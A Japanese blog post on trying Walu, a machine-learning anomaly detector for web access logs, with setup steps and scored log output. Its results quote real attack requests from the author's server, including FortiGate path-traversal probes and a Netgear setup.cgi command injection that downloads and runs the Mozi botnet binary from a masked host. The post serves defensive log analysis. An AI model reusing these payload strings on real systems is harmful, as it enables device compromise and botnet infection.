機械学習による異常検知(ウェブアクセスログ)
環境
Ubuntu 20.04.3 LTS
以下のコードを試しに動かしてみただけの記事
環境作成が困難かと思われたが、意外とすんなり動作した
※本物のアクセスログは現在限定公開となっているため、動作確認のみ
本物のウェブアクセスログを使用した、機械学習による異常検知(全データ/ソースコード公開)
https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html
JDKとantをインストール
参考 How to Install Apache Ant on Ubuntu 20.04 | 18.04
https://websiteforstudents.com/how-to-install-apache-ant-on-ubuntu-20-04-18-04/
JDK8をインストール
$ sudo apt update $ sudo apt-get install openjdk-8-jdk openjdk-8-doc
確認
$ java -version openjdk version "1.8.0_312" OpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07) OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)
antをインストール
$ sudo apt install ant
確認
$ ant -version Apache Ant(TM) version 1.10.7 compiled on October 24 2019
Walu(Web Application Log Unveiler)を動かしてみる
$ git clone https://github.com/Kanatoko/Walu.git
$ cd Walu
手元の環境ではメモリ4GBの仮想マシンのため、使用メモリ定義を下げる
$ vi run.sh #!/bin/sh --- ant #java -Xmx21G -Xms21G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log java -Xmx3G -Xms3G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log ---
アクセスログを追加(動くかどうかの確認のため4行だけ)
--- $ vi data/access.log 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200 HTTP/1.1" 200 5667 "https://www.zanbil.ir/m/filter/b113" "Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36" "-" 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" "-" 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1" 200 64 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" "-" 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&(略) HTTP/1.1" 200 1337 "https://www.zanbil.ir/orderAdministration/console/187717" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-" ---
コンパイルと実行
$ ./run.sh Buildfile: /home/user/Walu/build.xml build-subprojects: init: build-project: [echo] Walu: /home/user/Walu/build.xml build: BUILD SUCCESSFUL Total time: 0 seconds 2022-04-01 23:43:41.024 JST: Reading file data/access.log ... 2022-04-01 23:43:41.031 JST: Total number of lines: 4 2022-04-01 23:43:41.031 JST: Getting unique IP addresses ... 2022-04-01 23:43:41.036 JST: Total number of IPs: 4 2022-04-01 23:43:41.037 JST: Constructing vector list ... 2022-04-01 23:43:41.038 JST: Total number of vectors: 4 2022-04-01 23:43:41.038 JST: Building model ... ( treeNumber=1000 ,subSampleSize=10000 ) 2022-04-01 23:43:41.076 JST: Writing model as Java source code ... 2022-04-01 23:43:41.097 JST: Compiling model with ant ... 2022-04-01 23:43:43.631 JST: Model is successfully loaded. 2022-04-01 23:43:43.631 JST: Scoring vectors ... 2022-04-01 23:43:43.647 JST: Sorting results ... 2022-04-01 23:43:43.648 JST: Saving results ... 2022-04-01 23:43:43.649 JST: Total execution time:2625
結果を確認
$ ls data/ access.log result_all.txt result_by_ip.txt
※ログの説明は元記事(https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html)より抜粋
result_all.txtは入力であるdata/access.logのすべての行について、先頭に異常さのスコアを加えたものになっています。 並び順はaccess.logと同じになっています。 この数値が低いほど異常、高いほど正常です。感覚的には0.2以下はかなり異常だと言えるアクセスになります。 $ cat data/result_all.txt 0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略) 0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1"(略) 0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1"(略) 0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&(略)
アクセスがあったそれぞれのIPについて、最も異常だと判定された行をスコアと共に記録したファイルです。 並び順として、異常と判定された行から順番に並んでいるので、異常検知の結果としてはまずこちらのファイルを見ることになります。 $ cat data/result_by_ip.txt 0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=(略) 0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1(略) 0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略) 0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1(略)
数件しかないのでこの結果には意味がないが、スコアは計算されている
なんとか動きそうなので、何かログを探して試してみたい
(追記)
少ないが、手持ちの約4500件のログを読み込ませる。
メモリ4GBの仮想マシンでも10.6秒ほどで完了。
ログの量が少ないのもあるが、マシンスペックを考えると驚くほど速い。
残念ながら、使ったログはほぼ個人利用のサーバなので、攻撃通信のほうが多い。
result_by_ip.txtのTOP3は以下(IPと時刻は削除)
0.196 "GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1" 502 166 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64" 0.201 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 502 166 "-" "Python-urllib/3.9" 0.227 "GET /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic%20Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7 HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"
それ以外抜粋(リクエスト先IPアドレスは伏字)
: 0.256 "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://xx.xx.xx.xx:49677/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 162 "-" "-" : 0.435 "GET / HTTP/1.1" 200 4833 "-" "-" "-" : 0.438 "GET /admin/config.php HTTP/1.1" 404 134 "-" "python-requests/2.27.1" 0.438 "GET /wp-login.php HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-"
調査などのシンプルなGETのアクセスはスコア0.4前後で下のほうに、
長い怪しいリクエストはスコア0.2前後で上のほうに来ているので、
大量のログの中から不審なアクセスを抽出するにはとてもよさそうです。